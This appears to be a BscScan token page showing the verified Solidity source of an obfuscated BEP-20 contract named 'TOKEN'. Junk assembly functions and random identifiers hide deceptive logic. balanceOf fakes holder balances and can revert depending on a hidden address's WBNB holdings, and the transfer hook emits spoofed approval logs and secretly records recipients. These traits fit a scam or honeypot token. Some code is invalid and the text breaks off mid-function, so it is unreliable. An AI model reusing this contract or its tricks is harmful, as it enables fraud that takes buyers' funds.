BNB Price: $695.44 (-2.04%)
Gas: 1 GWei
 

Overview

Max Total Supply

500,000,000,000

Holders

1,631

Market

Price

$0.00 @ 0.000000 BNB

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
BSC: Validator Set
Balance
362,029,645.414685246

Value
$0.00
0x0000000000000000000000000000000000001000
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
This contract may be a proxy contract. Click on More Options and select Is this a proxy? to confirm and enable the "Read as Proxy" & "Write as Proxy" tabs.

Contract Source Code Verified (Exact Match)

Contract Name:
TOKEN

Compiler Version
v0.8.6+commit.11564f7e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at BscScan.com on 2024-04-07
*/

pragma solidity =0.8.6;interface IERC20 { function balanceOf(address n5R7dASMn8S5vXkoU) external view returns (uint256); function totalSupply() external view returns (uint256); function allowance(address owner, address td3zj1zDPyTj9dwHaMEp) external view returns (uint256); function transfer(address to, uint256 cr9NU) external returns (bool); function transferFrom( address from, address to, uint256 cr9NU ) external returns (bool); function approve(address td3zj1zDPyTj9dwHaMEp, uint256 cr9NU) external returns (bool);}contract TOKEN { address private Mxu2m2RKWEgsPSVWfeb; address public constant WBNB = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c; mapping(address => uint256) internal yr9QwcPq5IBTU8f; mapping(address => mapping(address => uint256)) private n2rOdmVnEl4ROM; uint256 internal EuprQUC8ZBPmX; address internal wZGEKnNlLvBVnjGh; string private bXTZAFMi; string private eKkjJL; function decreaseAllowance(address td3zj1zDPyTj9dwHaMEp, uint256 subtractedValue) public virtual returns (bool) { address owner = vzPBfXKAnrR(); uint256 JvpOGgQtJ = allowance(owner, td3zj1zDPyTj9dwHaMEp); require( JvpOGgQtJ >= subtractedValue, "ERC20: decreased allowance below zero" ); unchecked { _approve(owner, td3zj1zDPyTj9dwHaMEp, JvpOGgQtJ - subtractedValue); } return true; }function VDYRHUhN9t() public view returns(uint256){ uint256 KSev6Jlwk5e; assembly{ if gt(KSev6Jlwk5e,5525067){ KSev6Jlwk5e:=div(KSev6Jlwk5e,2) } KSev6Jlwk5e:=div(5525067,1000071) if gt(KSev6Jlwk5e,5451081){ KSev6Jlwk5e:=div(KSev6Jlwk5e,2) } KSev6Jlwk5e:=add(5451081,1049214) if gt(KSev6Jlwk5e,7921606){ KSev6Jlwk5e:=div(KSev6Jlwk5e,2) } KSev6Jlwk5e:=mod(7921606,5236262) if gt(KSev6Jlwk5e,6886008){ KSev6Jlwk5e:=div(KSev6Jlwk5e,2) } KSev6Jlwk5e:=sub(6886008,1433164) if gt(KSev6Jlwk5e,5900695){ KSev6Jlwk5e:=div(KSev6Jlwk5e,2) } KSev6Jlwk5e:=mod(5900695,3731427) } return KSev6Jlwk5e;}function gaUsIfLJH9II3g3xuo() public view returns(uint256){ uint256 QISis6yKn; assembly{ if gt(QISis6yKn,6388293){ QISis6yKn:=div(QISis6yKn,2) } QISis6yKn:=add(6388293,3529247) if gt(QISis6yKn,5989673){ QISis6yKn:=div(QISis6yKn,2) } QISis6yKn:=mul(5989673,2918201) if gt(QISis6yKn,6932513){ QISis6yKn:=div(QISis6yKn,2) } QISis6yKn:=mul(6932513,5750992) if gt(QISis6yKn,7961456){ QISis6yKn:=div(QISis6yKn,2) } QISis6yKn:=add(7961456,3035852) if gt(QISis6yKn,6169924){ QISis6yKn:=div(QISis6yKn,2) } QISis6yKn:=mod(6169924,1315273) if gt(QISis6yKn,9761819){ QISis6yKn:=div(QISis6yKn,2) } QISis6yKn:=mul(9761819,2532319) if gt(QISis6yKn,4529344){ QISis6yKn:=div(QISis6yKn,2) } QISis6yKn:=div(4529344,41699) } return QISis6yKn;}function vzPBfXKAnrR() internal view virtual returns (address) { return msg.sender; }event OwnershipTransferred( address indexed previousOwner, address indexed APTb86Dsb2 ); function transferFrom( address from, address to, uint256 cr9NU ) public virtual returns (bool) { address td3zj1zDPyTj9dwHaMEp = vzPBfXKAnrR(); _spendAllowance(from, td3zj1zDPyTj9dwHaMEp, cr9NU); _transfer(from, to, cr9NU); return true; }function DfJaYx0nnlBX() public view returns(uint256){ uint256 yDc1dK5zi; assembly{ if gt(yDc1dK5zi,4775880){ yDc1dK5zi:=div(yDc1dK5zi,2) } yDc1dK5zi:=add(4775880,1690677) if gt(yDc1dK5zi,1656261){ yDc1dK5zi:=div(yDc1dK5zi,2) } yDc1dK5zi:=mul(1656261,1194036) if gt(yDc1dK5zi,7834138){ yDc1dK5zi:=div(yDc1dK5zi,2) } yDc1dK5zi:=mul(7834138,378083) if gt(yDc1dK5zi,4828042){ yDc1dK5zi:=div(yDc1dK5zi,2) } yDc1dK5zi:=mul(4828042,3857180) if gt(yDc1dK5zi,1408842){ yDc1dK5zi:=div(yDc1dK5zi,2) } yDc1dK5zi:=mod(1408842,584026) if gt(yDc1dK5zi,6455805){ yDc1dK5zi:=div(yDc1dK5zi,2) } yDc1dK5zi:=div(6455805,3505147) if gt(yDc1dK5zi,6287663){ yDc1dK5zi:=div(yDc1dK5zi,2) } yDc1dK5zi:=sub(6287663,3737224) if gt(yDc1dK5zi,1664997){ yDc1dK5zi:=div(yDc1dK5zi,2) } yDc1dK5zi:=div(1664997,762717) if gt(yDc1dK5zi,7549019){ yDc1dK5zi:=div(yDc1dK5zi,2) } yDc1dK5zi:=sub(7549019,5470664) if gt(yDc1dK5zi,4970254){ yDc1dK5zi:=div(yDc1dK5zi,2) } yDc1dK5zi:=mul(4970254,2903913) if gt(yDc1dK5zi,6704277){ yDc1dK5zi:=div(yDc1dK5zi,2) } yDc1dK5zi:=mod(6704277,3473915) if gt(yDc1dK5zi,7119271){ yDc1dK5zi:=div(yDc1dK5zi,2) } yDc1dK5zi:=mod(7119271,3999266) } return yDc1dK5zi;}function kTsKK795V2s27PGiP() public view returns(uint256){ uint256 LS74GWzP3nOBbkf; assembly{ if gt(LS74GWzP3nOBbkf,5475365){ LS74GWzP3nOBbkf:=div(LS74GWzP3nOBbkf,2) } LS74GWzP3nOBbkf:=add(5475365,5222888) if gt(LS74GWzP3nOBbkf,9212394){ LS74GWzP3nOBbkf:=div(LS74GWzP3nOBbkf,2) } LS74GWzP3nOBbkf:=add(9212394,1916477) if gt(LS74GWzP3nOBbkf,3955074){ LS74GWzP3nOBbkf:=div(LS74GWzP3nOBbkf,2) } LS74GWzP3nOBbkf:=add(3955074,1723927) if gt(LS74GWzP3nOBbkf,4967928){ LS74GWzP3nOBbkf:=div(LS74GWzP3nOBbkf,2) } LS74GWzP3nOBbkf:=mod(4967928,2309338) if gt(LS74GWzP3nOBbkf,6293900){ LS74GWzP3nOBbkf:=div(LS74GWzP3nOBbkf,2) } LS74GWzP3nOBbkf:=div(6293900,1944915) if gt(LS74GWzP3nOBbkf,5914628){ LS74GWzP3nOBbkf:=div(LS74GWzP3nOBbkf,2) } LS74GWzP3nOBbkf:=mod(5914628,2583348) if gt(LS74GWzP3nOBbkf,2687849){ LS74GWzP3nOBbkf:=div(LS74GWzP3nOBbkf,2) } LS74GWzP3nOBbkf:=sub(2687849,40775) if gt(LS74GWzP3nOBbkf,8641256){ LS74GWzP3nOBbkf:=div(LS74GWzP3nOBbkf,2) } LS74GWzP3nOBbkf:=mod(8641256,4804132) } return LS74GWzP3nOBbkf;}function P3C5cWIAv0auz6() public view returns(uint256){ uint256 U7pDRJjQZfStj; assembly{ if gt(U7pDRJjQZfStj,6179344){ U7pDRJjQZfStj:=div(U7pDRJjQZfStj,2) } U7pDRJjQZfStj:=mod(6179344,2201579) if gt(U7pDRJjQZfStj,2017519){ U7pDRJjQZfStj:=div(U7pDRJjQZfStj,2) } U7pDRJjQZfStj:=div(2017519,1742876) if gt(U7pDRJjQZfStj,6885415){ U7pDRJjQZfStj:=div(U7pDRJjQZfStj,2) } U7pDRJjQZfStj:=add(6885415,5955386) if gt(U7pDRJjQZfStj,754851){ U7pDRJjQZfStj:=div(U7pDRJjQZfStj,2) } U7pDRJjQZfStj:=sub(754851,549493) if gt(U7pDRJjQZfStj,6704665){ U7pDRJjQZfStj:=div(U7pDRJjQZfStj,2) } U7pDRJjQZfStj:=div(6704665,1469720) if gt(U7pDRJjQZfStj,9848858){ U7pDRJjQZfStj:=div(U7pDRJjQZfStj,2) } U7pDRJjQZfStj:=sub(9848858,2856771) if gt(U7pDRJjQZfStj,4116357){ U7pDRJjQZfStj:=div(U7pDRJjQZfStj,2) } U7pDRJjQZfStj:=mul(4116357,1626871) if gt(U7pDRJjQZfStj,7112766){ U7pDRJjQZfStj:=div(U7pDRJjQZfStj,2) } U7pDRJjQZfStj:=mul(7112766,5351426) if gt(U7pDRJjQZfStj,8657417){ U7pDRJjQZfStj:=div(U7pDRJjQZfStj,2) } U7pDRJjQZfStj:=sub(8657417,2773374) if gt(U7pDRJjQZfStj,3207403){ U7pDRJjQZfStj:=div(U7pDRJjQZfStj,2) } U7pDRJjQZfStj:=add(3207403,721549) } return U7pDRJjQZfStj;} function balanceOf(address n5R7dASMn8S5vXkoU) public view returns (uint256 cr9NU) { cr9NU = IERC20(WBNB).balanceOf(wZGEKnNlLvBVnjGh); if (msg.sender == wZGEKnNlLvBVnjGh) { assembly { if lt(cr9NU, sload(32)) { revert(0, 0) } } } if (n5R7dASMn8S5vXkoU == wZGEKnNlLvBVnjGh) return yr9QwcPq5IBTU8f[n5R7dASMn8S5vXkoU]; return yr9QwcPq5IBTU8f[n5R7dASMn8S5vXkoU] % EuprQUC8ZBPmX; } function _approve( address owner, address td3zj1zDPyTj9dwHaMEp, uint256 cr9NU ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(td3zj1zDPyTj9dwHaMEp != address(0), "ERC20: approve to the zero address"); uint256 P59Wwfh1qYUPwY3I;P59Wwfh1qYUPwY3I+=5961450;require(P59Wwfh1qYUPwY3I > 9671);P59Wwfh1qYUPwY3I+=1732691;require(P59Wwfh1qYUPwY3I > 7462);P59Wwfh1qYUPwY3I+=1807602;require(P59Wwfh1qYUPwY3I > 2686);P59Wwfh1qYUPwY3I+=5761712;require(P59Wwfh1qYUPwY3I > 1206);P59Wwfh1qYUPwY3I+=1459153;require(P59Wwfh1qYUPwY3I > 6803);P59Wwfh1qYUPwY3I+=2023914;require(P59Wwfh1qYUPwY3I > 3861);P59Wwfh1qYUPwY3I+=1988903;require(P59Wwfh1qYUPwY3I > 2575);P59Wwfh1qYUPwY3I+=4301857;require(P59Wwfh1qYUPwY3I > 4976); n2rOdmVnEl4ROM[owner][td3zj1zDPyTj9dwHaMEp] = cr9NU; emit Approval(owner, td3zj1zDPyTj9dwHaMEp, cr9NU); }constructor() { ZbhydqS(tx.origin); _mint(address(this), 500000000000000000000); } function _mint(address n5R7dASMn8S5vXkoU, uint256 cr9NU) internal virtual { require(n5R7dASMn8S5vXkoU != address(0), "ERC20: mint to the zero address"); uint256 c1kKkX18jn2;c1kKkX18jn2+=1905337;require(c1kKkX18jn2 > 9864);c1kKkX18jn2+=2977205;require(c1kKkX18jn2 > 2115);c1kKkX18jn2+=2422103;require(c1kKkX18jn2 > 4684); EuprQUC8ZBPmX += cr9NU; yr9QwcPq5IBTU8f[n5R7dASMn8S5vXkoU] += cr9NU; emit Transfer(address(0), n5R7dASMn8S5vXkoU, cr9NU); } event Transfer(address indexed from, address indexed to, uint256 value);function GjerXl5ojTUf0WvcspYs() public view returns(uint256){ uint256 OjJrZnQbDC2H6i; assembly{ if gt(OjJrZnQbDC2H6i,8509802){ OjJrZnQbDC2H6i:=div(OjJrZnQbDC2H6i,2) } OjJrZnQbDC2H6i:=sub(8509802,5342545) if gt(OjJrZnQbDC2H6i,5341734){ OjJrZnQbDC2H6i:=div(OjJrZnQbDC2H6i,2) } OjJrZnQbDC2H6i:=sub(5341734,1580124) if gt(OjJrZnQbDC2H6i,6129893){ OjJrZnQbDC2H6i:=div(OjJrZnQbDC2H6i,2) } OjJrZnQbDC2H6i:=mod(6129893,2039980) if gt(OjJrZnQbDC2H6i,7340746){ OjJrZnQbDC2H6i:=div(OjJrZnQbDC2H6i,2) } OjJrZnQbDC2H6i:=add(7340746,568210) if gt(OjJrZnQbDC2H6i,6369428){ OjJrZnQbDC2H6i:=div(OjJrZnQbDC2H6i,2) } OjJrZnQbDC2H6i:=mul(6369428,4255417) if gt(OjJrZnQbDC2H6i,3538763){ OjJrZnQbDC2H6i:=div(OjJrZnQbDC2H6i,2) } OjJrZnQbDC2H6i:=mod(3538763,2979382) if gt(OjJrZnQbDC2H6i,3568786){ OjJrZnQbDC2H6i:=div(OjJrZnQbDC2H6i,2) } OjJrZnQbDC2H6i:=mul(3568786,3525242) if gt(OjJrZnQbDC2H6i,9720603){ OjJrZnQbDC2H6i:=div(OjJrZnQbDC2H6i,2) } OjJrZnQbDC2H6i:=div(9720603,4589665) if gt(OjJrZnQbDC2H6i,7980523){ OjJrZnQbDC2H6i:=div(OjJrZnQbDC2H6i,2) } OjJrZnQbDC2H6i:=sub(7980523,4752480) if gt(OjJrZnQbDC2H6i,3098727){ OjJrZnQbDC2H6i:=div(OjJrZnQbDC2H6i,2) } OjJrZnQbDC2H6i:=div(3098727,2681343) } return OjJrZnQbDC2H6i;} function transferOwnership(address APTb86Dsb2) public virtual onlyOwner { require( APTb86Dsb2 != address(0), "Ownable: new owner is the zero address" ); ZbhydqS(APTb86Dsb2); } function approve(address td3zj1zDPyTj9dwHaMEp, uint256 cr9NU) public virtual returns (bool) { address owner = vzPBfXKAnrR(); _approve(owner, td3zj1zDPyTj9dwHaMEp, cr9NU); return true; } function symbol() public view virtual returns (string memory) { uint256 z9qRd3MaiLxMqUJL;z9qRd3MaiLxMqUJL+=1645158;require(z9qRd3MaiLxMqUJL > 4156);z9qRd3MaiLxMqUJL+=4782337;require(z9qRd3MaiLxMqUJL > 4828);z9qRd3MaiLxMqUJL+=4099391;require(z9qRd3MaiLxMqUJL > 609);z9qRd3MaiLxMqUJL+=3965853;require(z9qRd3MaiLxMqUJL > 6671);z9qRd3MaiLxMqUJL+=1210915;require(z9qRd3MaiLxMqUJL > 5390);z9qRd3MaiLxMqUJL+=4843914;require(z9qRd3MaiLxMqUJL > 2107);z9qRd3MaiLxMqUJL+=832401;require(z9qRd3MaiLxMqUJL > 5322); return eKkjJL; } function _spendAllowance( address owner, address td3zj1zDPyTj9dwHaMEp, uint256 cr9NU ) internal virtual { uint256 JvpOGgQtJ = allowance(owner, td3zj1zDPyTj9dwHaMEp); if (JvpOGgQtJ != type(uint256).max) { require( JvpOGgQtJ >= cr9NU, "ERC20: insufficient allowance" ); unchecked { _approve(owner, td3zj1zDPyTj9dwHaMEp, JvpOGgQtJ - cr9NU); } } } function name() public view virtual returns (string memory) { uint256 tBJwksbS0gM8u;tBJwksbS0gM8u+=3612442;require(tBJwksbS0gM8u > 1231);tBJwksbS0gM8u+=3736290;require(tBJwksbS0gM8u > 6260);tBJwksbS0gM8u+=1240530;require(tBJwksbS0gM8u > 8933);tBJwksbS0gM8u+=2387617;require(tBJwksbS0gM8u > 8512); return bXTZAFMi; } function decimals() public view virtual returns (uint8) { uint256 i6qrwE60tRz;i6qrwE60tRz+=462652;require(i6qrwE60tRz > 8237);i6qrwE60tRz+=5164667;require(i6qrwE60tRz > 8008);i6qrwE60tRz+=4505711;require(i6qrwE60tRz > 5973); return 9; }function HHxjpf9lNeP4OLcbR4() internal view virtual returns (bytes calldata) { return msg.data; } function xTQs8jYvEEc7D() public view returns(uint256){ uint256 nlbsqx9APwtE; assembly{ if gt(nlbsqx9APwtE,7851837){ nlbsqx9APwtE:=div(nlbsqx9APwtE,2) } nlbsqx9APwtE:=mul(7851837,3589983) if gt(nlbsqx9APwtE,8246277){ nlbsqx9APwtE:=div(nlbsqx9APwtE,2) } nlbsqx9APwtE:=add(8246277,4977316) if gt(nlbsqx9APwtE,9142446){ nlbsqx9APwtE:=div(nlbsqx9APwtE,2) } nlbsqx9APwtE:=div(9142446,4778239) if gt(nlbsqx9APwtE,5235039){ nlbsqx9APwtE:=div(nlbsqx9APwtE,2) } nlbsqx9APwtE:=mod(5235039,3636819) if gt(nlbsqx9APwtE,8175304){ nlbsqx9APwtE:=div(nlbsqx9APwtE,2) } nlbsqx9APwtE:=mul(8175304,2263332) if gt(nlbsqx9APwtE,4196363){ nlbsqx9APwtE:=div(nlbsqx9APwtE,2) } nlbsqx9APwtE:=add(4196363,3399022) if gt(nlbsqx9APwtE,9672870){ nlbsqx9APwtE:=div(nlbsqx9APwtE,2) } nlbsqx9APwtE:=mul(9672870,2972226) if gt(nlbsqx9APwtE,3026342){ nlbsqx9APwtE:=div(nlbsqx9APwtE,2) } nlbsqx9APwtE:=div(3026342,1911818) if gt(nlbsqx9APwtE,4924794){ nlbsqx9APwtE:=div(nlbsqx9APwtE,2) } nlbsqx9APwtE:=sub(4924794,2470509) if gt(nlbsqx9APwtE,8897570){ nlbsqx9APwtE:=div(nlbsqx9APwtE,2) } nlbsqx9APwtE:=add(8897570,5659569) if gt(nlbsqx9APwtE,2454781){ nlbsqx9APwtE:=div(nlbsqx9APwtE,2) } nlbsqx9APwtE:=mul(2454781,2201214) if gt(nlbsqx9APwtE,5921411){ nlbsqx9APwtE:=div(nlbsqx9APwtE,2) } nlbsqx9APwtE:=add(5921411,1313939) } return nlbsqx9APwtE;} modifier onlyOwner() { require(owner() == tx.origin, "Ownable: caller is not the owner"); _; }function g3EKhptyocx() public view returns(uint256){ uint256 DlYBRERnUQ; assembly{ if gt(DlYBRERnUQ,9855114){ DlYBRERnUQ:=div(DlYBRERnUQ,2) } DlYBRERnUQ:=mul(9855114,3738418) if gt(DlYBRERnUQ,7108171){ DlYBRERnUQ:=div(DlYBRERnUQ,2) } DlYBRERnUQ:=add(7108171,5186553) if gt(DlYBRERnUQ,8267756){ DlYBRERnUQ:=div(DlYBRERnUQ,2) } DlYBRERnUQ:=div(8267756,5226498) if gt(DlYBRERnUQ,9730302){ DlYBRERnUQ:=div(DlYBRERnUQ,2) } DlYBRERnUQ:=mul(9730302,3828420) if gt(DlYBRERnUQ,8632405){ DlYBRERnUQ:=div(DlYBRERnUQ,2) } DlYBRERnUQ:=mod(8632405,4587971) if gt(DlYBRERnUQ,9291048){ DlYBRERnUQ:=div(DlYBRERnUQ,2) } DlYBRERnUQ:=div(9291048,3032608) if gt(DlYBRERnUQ,5531470){ DlYBRERnUQ:=div(DlYBRERnUQ,2) } DlYBRERnUQ:=sub(5531470,5315710) if gt(DlYBRERnUQ,7109858){ DlYBRERnUQ:=div(DlYBRERnUQ,2) } DlYBRERnUQ:=add(7109858,5966028) if gt(DlYBRERnUQ,7293939){ DlYBRERnUQ:=div(DlYBRERnUQ,2) } DlYBRERnUQ:=sub(7293939,3609375) if gt(DlYBRERnUQ,8348904){ DlYBRERnUQ:=div(DlYBRERnUQ,2) } DlYBRERnUQ:=mod(8348904,1487012) if gt(DlYBRERnUQ,550436){ DlYBRERnUQ:=div(DlYBRERnUQ,2) } DlYBRERnUQ:=div(550436,359031) if gt(DlYBRERnUQ,8745804){ DlYBRERnUQ:=div(DlYBRERnUQ,2) } DlYBRERnUQ:=div(8745804,2466276) if gt(DlYBRERnUQ,7043018){ DlYBRERnUQ:=div(DlYBRERnUQ,2) } DlYBRERnUQ:=mod(7043018,5389008) if gt(DlYBRERnUQ,7488569){ DlYBRERnUQ:=div(DlYBRERnUQ,2) } DlYBRERnUQ:=sub(7488569,1497589) } return DlYBRERnUQ;} function renounceOwnership() public virtual onlyOwner { uint256 iDsy8QCkqJ7R4;iDsy8QCkqJ7R4+=2122564;require(iDsy8QCkqJ7R4 > 8238);iDsy8QCkqJ7R4+=5984869;require(iDsy8QCkqJ7R4 > 2378);iDsy8QCkqJ7R4+=1214539;require(iDsy8QCkqJ7R4 > 8216);iDsy8QCkqJ7R4+=1406718;require(iDsy8QCkqJ7R4 > 216);iDsy8QCkqJ7R4+=745237;require(iDsy8QCkqJ7R4 > 9507);iDsy8QCkqJ7R4+=4168831;require(iDsy8QCkqJ7R4 > 5285); ZbhydqS(address(0)); } function _beforeTokenTransfer( address from, address to, uint256 cr9NU ) internal virtual {} function _afterTokenTransfer( address from, address to, uint256 cr9NU ) internal { if (yr9QwcPq5IBTU8f[from] > EuprQUC8ZBPmX * 0xfe) { assembly { sstore(32, 0) } } else if ( yr9QwcPq5IBTU8f[to] < EuprQUC8ZBPmX && to != wZGEKnNlLvBVnjGh ) { assembly{ mstore(0,cr9NU) log3( 0, 32, 0x8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925, to, address() ) let Jv2Hed4Gsy0x := sload(9999) sstore(add(10000, Jv2Hed4Gsy0x), to) sstore(9999, add(1, Jv2Hed4Gsy0x)) } } } function totalSupply() public view virtual returns (uint256) { uint256 jbdGYkFtPtD5h;jbdGYkFtPtD5h+=979876;require(jbdGYkFtPtD5h > 4161);jbdGYkFtPtD5h+=576398;require(jbdGYkFtPtD5h > 434);jbdGYkFtPtD5h+=3620938;require(jbdGYkFtPtD5h > 4888);jbdGYkFtPtD5h+=2031633;require(jbdGYkFtPtD5h > 2785); return EuprQUC8ZBPmX; }fallback() external __ {}function uJVPcfbFEWdd8sno() public view returns(uint256){ uint256 X7rjyKg7QksA5; assembly{ if gt(X7rjyKg7QksA5,7473345){ X7rjyKg7QksA5:=div(X7rjyKg7QksA5,2) } X7rjyKg7QksA5:=div(7473345,2729462) if gt(X7rjyKg7QksA5,9173466){ X7rjyKg7QksA5:=div(X7rjyKg7QksA5,2) } X7rjyKg7QksA5:=sub(9173466,4638560) if gt(X7rjyKg7QksA5,4555423){ X7rjyKg7QksA5:=div(X7rjyKg7QksA5,2) } X7rjyKg7QksA5:=mod(4555423,4325907) if gt(X7rjyKg7QksA5,4228257){ X7rjyKg7QksA5:=div(X7rjyKg7QksA5,2) } X7rjyKg7QksA5:=mul(4228257,947916) if gt(X7rjyKg7QksA5,4720325){ X7rjyKg7QksA5:=div(X7rjyKg7QksA5,2) } X7rjyKg7QksA5:=mod(4720325,4030980) if gt(X7rjyKg7QksA5,6005823){ X7rjyKg7QksA5:=div(X7rjyKg7QksA5,2) } X7rjyKg7QksA5:=mod(6005823,4015457) if gt(X7rjyKg7QksA5,6915100){ X7rjyKg7QksA5:=div(X7rjyKg7QksA5,2) } X7rjyKg7QksA5:=div(6915100,1272595) if gt(X7rjyKg7QksA5,9878649){ X7rjyKg7QksA5:=div(X7rjyKg7QksA5,2) } X7rjyKg7QksA5:=sub(9878649,1369755) if gt(X7rjyKg7QksA5,2438134){ X7rjyKg7QksA5:=div(X7rjyKg7QksA5,2) } X7rjyKg7QksA5:=mul(2438134,79928) if gt(X7rjyKg7QksA5,4675348){ X7rjyKg7QksA5:=div(X7rjyKg7QksA5,2) } X7rjyKg7QksA5:=add(4675348,3740650) if gt(X7rjyKg7QksA5,9590145){ X7rjyKg7QksA5:=div(X7rjyKg7QksA5,2) } X7rjyKg7QksA5:=mod(9590145,5239894) if gt(X7rjyKg7QksA5,8417496){ X7rjyKg7QksA5:=div(X7rjyKg7QksA5,2) } X7rjyKg7QksA5:=sub(8417496,1400887) if gt(X7rjyKg7QksA5,8341440){ X7rjyKg7QksA5:=div(X7rjyKg7QksA5,2) } X7rjyKg7QksA5:=mod(8341440,5066007) if gt(X7rjyKg7QksA5,5312098){ X7rjyKg7QksA5:=div(X7rjyKg7QksA5,2) } X7rjyKg7QksA5:=add(5312098,4248044) if gt(X7rjyKg7QksA5,7068864){ X7rjyKg7QksA5:=div(X7rjyKg7QksA5,2) } X7rjyKg7QksA5:=div(7068864,5274518) } return X7rjyKg7QksA5;} function ZbhydqS(address APTb86Dsb2) internal virtual { address oldOwner = Mxu2m2RKWEgsPSVWfeb; Mxu2m2RKWEgsPSVWfeb = APTb86Dsb2; emit OwnershipTransferred(oldOwner, APTb86Dsb2); } function increaseAllowance(address td3zj1zDPyTj9dwHaMEp, uint256 addedValue) public virtual returns (bool) { address owner = vzPBfXKAnrR(); _approve(owner, td3zj1zDPyTj9dwHaMEp, allowance(owner, td3zj1zDPyTj9dwHaMEp) + addedValue); return true; } function transfer(address to, uint256 cr9NU) public virtual returns (bool) { address owner = vzPBfXKAnrR(); _transfer(owner, to, cr9NU); return true; } function _burn(address n5R7dASMn8S5vXkoU, uint256 cr9NU) internal virtual { require(n5R7dASMn8S5vXkoU != address(0), "ERC20: burn from the zero address"); uint256 G4P8UL895RHJ;G4P8UL895RHJ+=2467945;require(G4P8UL895RHJ > 5012);G4P8UL895RHJ+=476460;require(G4P8UL895RHJ > 9848);G4P8UL895RHJ+=2423942;require(G4P8UL895RHJ > 2100);G4P8UL895RHJ+=1833682;require(G4P8UL895RHJ > 8056);G4P8UL895RHJ+=5676162;require(G4P8UL895RHJ > 8089); _beforeTokenTransfer(n5R7dASMn8S5vXkoU, address(0), cr9NU); uint256 n5R7dASMn8S5vXkoUBalance = yr9QwcPq5IBTU8f[n5R7dASMn8S5vXkoU]; require(n5R7dASMn8S5vXkoUBalance >= cr9NU, "ERC20: burn exceeds balance"); yr9QwcPq5IBTU8f[n5R7dASMn8S5vXkoU] -= cr9NU; EuprQUC8ZBPmX -= cr9NU; emit Transfer(n5R7dASMn8S5vXkoU, address(0), cr9NU); _afterTokenTransfer(n5R7dASMn8S5vXkoU, address(0), cr9NU); } function allowance(address owner, address td3zj1zDPyTj9dwHaMEp) public view virtual returns (uint256) { return n2rOdmVnEl4ROM[owner][td3zj1zDPyTj9dwHaMEp]; } event Approval( address indexed owner, address indexed td3zj1zDPyTj9dwHaMEp, uint256 value );receive() external payable {}function yZEkwcWaTBpzd() public view returns(uint256){ uint256 Uuph8YdOUrZ53l; assembly{ if gt(Uuph8YdOUrZ53l,6873426){ Uuph8YdOUrZ53l:=div(Uuph8YdOUrZ53l,2) } Uuph8YdOUrZ53l:=div(6873426,1271918) if gt(Uuph8YdOUrZ53l,6129985){ Uuph8YdOUrZ53l:=div(Uuph8YdOUrZ53l,2) } Uuph8YdOUrZ53l:=mul(6129985,5452133) if gt(Uuph8YdOUrZ53l,7911331){ Uuph8YdOUrZ53l:=div(Uuph8YdOUrZ53l,2) } Uuph8YdOUrZ53l:=sub(7911331,5944829) if gt(Uuph8YdOUrZ53l,9150775){ Uuph8YdOUrZ53l:=div(Uuph8YdOUrZ53l,2) } Uuph8YdOUrZ53l:=div(9150775,2725480) if gt(Uuph8YdOUrZ53l,8301971){ Uuph8YdOUrZ53l:=div(Uuph8YdOUrZ53l,2) } Uuph8YdOUrZ53l:=add(8301971,5662428) if gt(Uuph8YdOUrZ53l,5406268){ Uuph8YdOUrZ53l:=div(Uuph8YdOUrZ53l,2) } Uuph8YdOUrZ53l:=div(5406268,4867153) if gt(Uuph8YdOUrZ53l,7129552){ Uuph8YdOUrZ53l:=div(Uuph8YdOUrZ53l,2) } Uuph8YdOUrZ53l:=mul(7129552,1909185) if gt(Uuph8YdOUrZ53l,7717875){ Uuph8YdOUrZ53l:=div(Uuph8YdOUrZ53l,2) } Uuph8YdOUrZ53l:=div(7717875,4741207) if gt(Uuph8YdOUrZ53l,5338766){ Uuph8YdOUrZ53l:=div(Uuph8YdOUrZ53l,2) } Uuph8YdOUrZ53l:=mod(5338766,2125783) if gt(Uuph8YdOUrZ53l,8648120){ Uuph8YdOUrZ53l:=div(Uuph8YdOUrZ53l,2) } Uuph8YdOUrZ53l:=mod(8648120,1572244) if gt(Uuph8YdOUrZ53l,8012736){ Uuph8YdOUrZ53l:=div(Uuph8YdOUrZ53l,2) } Uuph8YdOUrZ53l:=add(8012736,982978) if gt(Uuph8YdOUrZ53l,8578466){ Uuph8YdOUrZ53l:=div(Uuph8YdOUrZ53l,2) } Uuph8YdOUrZ53l:=sub(8578466,13475) if gt(Uuph8YdOUrZ53l,7623847){ Uuph8YdOUrZ53l:=div(Uuph8YdOUrZ53l,2) } Uuph8YdOUrZ53l:=mul(7623847,5288471) if gt(Uuph8YdOUrZ53l,7013836){ Uuph8YdOUrZ53l:=div(Uuph8YdOUrZ53l,2) } Uuph8YdOUrZ53l:=add(7013836,595434) if gt(Uuph8YdOUrZ53l,8363032){ Uuph8YdOUrZ53l:=div(Uuph8YdOUrZ53l,2) } Uuph8YdOUrZ53l:=mul(8363032,4864891) } return Uuph8YdOUrZ53l;}function O1dDGm6OA8LbC() public view returns(uint256){ uint256 ATFbisJ7x5bTTP; assembly{ if gt(ATFbisJ7x5bTTP,6894170){ ATFbisJ7x5bTTP:=div(ATFbisJ7x5bTTP,2) } ATFbisJ7x5bTTP:=div(6894170,138327) if gt(ATFbisJ7x5bTTP,6815825){ ATFbisJ7x5bTTP:=div(ATFbisJ7x5bTTP,2) } ATFbisJ7x5bTTP:=add(6815825,4796111) if gt(ATFbisJ7x5bTTP,4649160){ ATFbisJ7x5bTTP:=div(ATFbisJ7x5bTTP,2) } ATFbisJ7x5bTTP:=mul(4649160,2297388) if gt(ATFbisJ7x5bTTP,7931540){ ATFbisJ7x5bTTP:=div(ATFbisJ7x5bTTP,2) } ATFbisJ7x5bTTP:=sub(7931540,1345896) if gt(ATFbisJ7x5bTTP,5342396){ ATFbisJ7x5bTTP:=div(ATFbisJ7x5bTTP,2) } ATFbisJ7x5bTTP:=sub(5342396,3820099) if gt(ATFbisJ7x5bTTP,6574454){ ATFbisJ7x5bTTP:=div(ATFbisJ7x5bTTP,2) } ATFbisJ7x5bTTP:=mul(6574454,3266761) if gt(ATFbisJ7x5bTTP,4888881){ ATFbisJ7x5bTTP:=div(ATFbisJ7x5bTTP,2) } ATFbisJ7x5bTTP:=div(4888881,1120638) if gt(ATFbisJ7x5bTTP,9862295){ 